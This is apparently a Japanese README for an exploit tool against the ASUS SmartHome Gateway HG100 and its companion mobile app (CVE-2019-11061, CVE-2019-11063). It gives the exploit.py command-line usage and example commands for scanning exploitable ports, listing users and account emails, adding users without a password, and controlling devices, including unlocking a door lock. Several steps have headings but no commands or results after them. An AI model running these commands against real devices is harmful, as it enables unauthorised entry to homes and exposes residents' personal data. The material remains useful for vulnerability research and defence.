
CVE-2019-11061 および CVE-2019-11063 向けの ASUS SmartHome Exploit
CVE-2019-11061 : HG100におけるアクセス制御の欠陥
影響を受ける製品 : ASUS SmartHome Gateway HG100 ファームウェアバージョン < 4.00.09
CVE-2019-11063 : SmartHomeアプリにおけるアクセス制御の欠陥
影響を受ける製品 : ASUS SmartHome Android APP バージョン < 3.0.45_190701
攻撃者がHG100、またはcompanion APP(android もしくは iPhone)をインストールしたモバイルデバイスと同じ内部ネットワークにいる場合、攻撃者はそれらに制御リクエストを送信できます。
usage: exploit.py scan [-h] [-v] target_ip
scan exploitable port
positional arguments:
target_ip scan ip
optional arguments:
-h, --help show this help message and exit
-v show account email list
usage: exploit.py cmd [-h]
(-u | -l | -s device_id | -c device_id status | -a username)
[--user username] [--new-user username] [-v]
target
send command to target
positional arguments:
target <target-ip>:<port>
optional arguments:
-h, --help show this help message and exit
-u, --list-user list all user in device
-l, --list-device list all device status
-s device_id, --device-status device_id
list device status
-c device_id status, --device-control device_id status
control device status
-a username, --add-user username
add a user to device
--user username assign user for cmd
--new-user username create a new user for cmd
-v show account email list
$ ./exploit.py cmd https://10.42.50.166:8083 -l
androidまたはiPhone用のcompanion APPをインストールしたモバイルデバイスの悪用可能なポートをスキャン :
追記: -v オプションは、HG100に追加されているユーザーを一覧表示します。
または
HG100の悪用可能なポートをスキャン :
HG100に追加されているすべてのユーザーを取得する:

または新しいユーザーを追加する:
注記: "cmd" 引数には https://10.42.50.166:8083 を使用します。
例:
$ ./exploit.py cmd https://10.42.50.166:8083 -u
SmartHome Gateway配下のすべてのデバイス情報を取得する:
追記: --user オプションが設定されていない場合、HG100内の最初のユーザーが自動的に選択されます。(パスワードが不要なため)
アプリとの比較:
DoorLockを制御(ロック解除)します。
追記: 1028 の値は -l オプション(ステップ3)から取得されます。
結果:
